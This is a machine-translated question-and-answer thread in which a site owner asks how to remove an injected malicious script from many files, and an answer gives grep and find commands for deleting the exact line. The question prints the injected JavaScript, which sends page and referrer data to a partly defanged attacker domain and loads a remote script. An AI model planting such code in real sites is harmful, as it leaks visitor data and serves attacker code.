Ersetzen Sie lange Textzeichenfolgen (Skripts mit VIELEN Sonderzeichen). sed, awk, grep

Ersetzen Sie lange Textzeichenfolgen (Skripts mit VIELEN Sonderzeichen). sed, awk, grep

Meine Site wurde gehackt/infiziert. Ich habe die URL des bösartigen Links ersetzt, aber andere Elemente im bösartigen Skript führen immer noch dazu, dass meine Site blockiert wird. Wie kann ich das folgende Skript aus 3 Dutzend Dateien auf meiner Site entfernen, ohne hundert oder so „Escapes“ einzufügen?

< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>

Andere Seiten auf Stack-Exchange beantworten diese Frage nicht.

Um die bösartige URL durch xxxx_hack_was_here usw. zu ersetzen, habe ich Folgendes verwendet: find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +

Antwort1

Erstens stimme ich den obigen Kommentaren zu:Nicht sedzur Wiederherstellung nach einem Hackerangriff verwenden. Sie werden sich immer fragen, ob Sie etwas verpasst haben. Stellen Sie es aus einem Backup wieder her, Punkt.

Die wörtliche Frage, die Sie gestellt haben, nämlich wie man eine lange Zeichenfolge überall dort entfernt, wo sie vorkommt, ohne alle Sonderzeichen zu maskieren, ist jedoch etwas einfacher zu handhaben.

Ich ziehe aus Ihrer Frage einige Schlussfolgerungen/Annahmen, die Sie nicht direkt geäußert haben:

  1. Dass die zu entfernende Zeichenfolge eine einzelne Zeile ist.
  2. Dass es jedes Mal das Gleiche ist, wenn es auftritt.
  3. Das muss es seinENTFERNT, nicht durch etwas anderes ersetzt.

Wenn die obigen Annahmen richtig sind, gehen Sie wie folgt vor:

  1. Legen Sie den zu entfernenden String (einschließlich aller nachfolgenden Leerzeichen) in eine eigene Datei, z. B. genannt hackline.txt. Legen Sie diese eine Ebeneüberdas Verzeichnis, das Sie verwalten werden.
  2. Kopieren Sie bei Fehlern Ihr gesamtes Verzeichnis.

    cp -a mydir mydircopy
    
  3. Führen Sie die folgende Schleife in Ihrem Verzeichnis (oder der Kopie) aus, um alle Instanzen der Hackline zu entfernen:

    cd mydir
    for f in *; do
      [ -f "$f" ] && [ -r "$f" ] || continue
      grep -vxFf ../hackline.txt "$f" > "$f.fixed" &&
        mv -- "$f.fixed" "$f"
    done
    

Das Konzept hier ist, dass Sie hackline.txtals Liste von festen Zeichenfolgen verwenden, die der gesamten Zeile entsprechen müssen, dann verwenden Sie, grepum nur die Zeilen zu erhalten, dienichtPassen Sie diese Liste von Zeichenfolgen an.

-xbedeutet „gesamte Zeile“; -Fbedeutet „feste Zeichenfolge, kein regulärer Ausdruck“; -vkehrt die Suche um; -fakzeptiert eine Liste von Mustern in einer Datei.

Wenn Ihr Website-Verzeichnis hierarchisch und nicht flach ist (was tatsächlich ziemlich wahrscheinlich ist), können Sie findanstelle einer For-Schleife Folgendes verwenden:

find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;

diffÜberprüfen Sie dann rekursiv , ob alles so ist, wie es sein sollte:

diff -r mydircopy mydir

verwandte Informationen